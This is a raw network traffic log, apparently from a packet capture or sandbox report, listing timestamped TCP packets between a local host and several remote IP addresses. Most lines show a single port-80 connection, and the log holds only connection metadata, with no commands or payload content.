Nov 23, 2024 02:55:16.385165930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.385210037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.385248899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.385417938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.386240005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.386287928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.386291981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.386414051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.387307882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.387362957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.387402058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.387444973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.388397932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.388515949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.388551950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.388565063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.389451981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.389564991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.389611959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.390569925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.390695095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.390717983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.390758991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.391633987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.391683102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.391721010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.391760111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.392692089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.392738104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.392777920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.392955065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.393759012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.393810034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.393856049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.393948078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.394844055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.394892931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.394968033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.395008087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.395941973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.395999908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.396039009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.396078110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.396989107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.397034883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.397093058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.397249937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.398061037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.398108959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.398176908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.398236990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.399142027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.399192095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.399229050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.399262905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.400223017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.400271893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.400312901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.400350094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.431907892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.431988001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.432010889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.432054043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.432459116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.432533026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.432770967 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.433465004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.433541059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.433872938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.434016943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.434040070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.434057951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.434948921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.435002089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.435062885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.436053038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.436106920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.436146021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.436336994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.437133074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.437232018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.437324047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.438189983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.438236952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.438303947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.438344002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.439260006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.439302921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.439317942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.439387083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.440340042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.440391064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.440429926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.441093922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.441406012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.441457033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.441513062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.441549063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.442523956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.442569971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.442603111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.442641973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.443578005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.443622112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.443694115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.443850994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.444648981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.444694042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.444730997 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.444772959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.445741892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.445789099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.445817947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.445861101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.446799040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.446847916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.446912050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.446949959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.447863102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.447912931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.447982073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.448117018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.448918104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.452429056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.453012943 CET	49727	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:16.453032970 CET	443	49727	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:16.453201056 CET	49727	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:16.453452110 CET	49727	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:16.453464985 CET	443	49727	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:16.465177059 CET	443	49704	173.222.162.64	192.168.2.6
Nov 23, 2024 02:55:16.465281963 CET	49704	443	192.168.2.6	173.222.162.64
Nov 23, 2024 02:55:16.508208990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.508295059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.508457899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.508757114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.508872032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.508927107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.509828091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.509987116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.510040045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.510929108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.511002064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.511074066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.512042046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.512140989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.512190104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.513058901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.513186932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.514142990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.514205933 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.514241934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.515204906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.515265942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.515307903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.516294003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.516352892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.516397953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.516932964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.517362118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.517433882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.517466068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.517514944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.518485069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.518552065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.518605947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.519558907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.519615889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.519676924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.520602942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.520716906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.520783901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.521667004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.521806002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.521862984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.522767067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.522891045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.522947073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.523816109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.523932934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.523983955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.524874926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.525023937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.525980949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.526041031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.526087999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.527064085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.527115107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.527173996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.528124094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.528197050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.528220892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.528414965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.585109949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.585180044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.585194111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.585243940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.585611105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.585660934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.585829020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.585872889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.585918903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.585962057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.586900949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.586956024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.587012053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.587054014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.588007927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.588057995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.588098049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.588143110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.589076996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.589127064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.589210033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.589251041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.590162039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.590204954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.590243101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.590285063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.591238976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.591283083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.591284037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.591347933 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.592303991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.592346907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.592412949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.592453003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.593347073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.593396902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.593477964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.593517065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.594434977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.594477892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.594547033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.594593048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.595523119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.595583916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.595643044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.595693111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.596606970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.596668959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.596709967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.596750021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.597672939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.597726107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.597789049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.597831011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.598746061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.598803043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.598846912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.598886013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.599803925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.599860907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.599927902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.599968910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.600878954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.600934029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.601023912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.601070881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.601965904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.602019072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.633138895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.633214951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.633219957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.633260012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.633626938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.633671045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.633742094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.633780956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.634711981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.634748936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.634815931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.634855986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.635806084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.635848045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.635909081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.635948896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.636853933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.636923075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.636991024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.637036085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.637927055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.637968063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.638000011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.638040066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.639000893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.639039993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.639064074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.639108896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.640098095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.640136003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.640166998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.640208006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.641160011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.641200066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.641238928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.641277075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.642230034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.642270088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.642354012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.642394066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.643387079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.643435001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.643436909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.643472910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.644403934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.644483089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.644511938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.644555092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.645445108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.645493031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.645500898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.645540953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.646555901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.646595955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.646675110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.646713972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.647634029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.647686005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.647726059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.647763968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.648683071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.648720980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.648778915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.648822069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.649789095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.649828911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.649840117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.649882078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.694753885 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.694776058 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.694828987 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.694832087 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.694870949 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.695667982 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.695692062 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.695738077 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.695761919 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.695802927 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:16.699048996 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:16.699076891 CET	443	49720	13.107.246.63	192.168.2.6
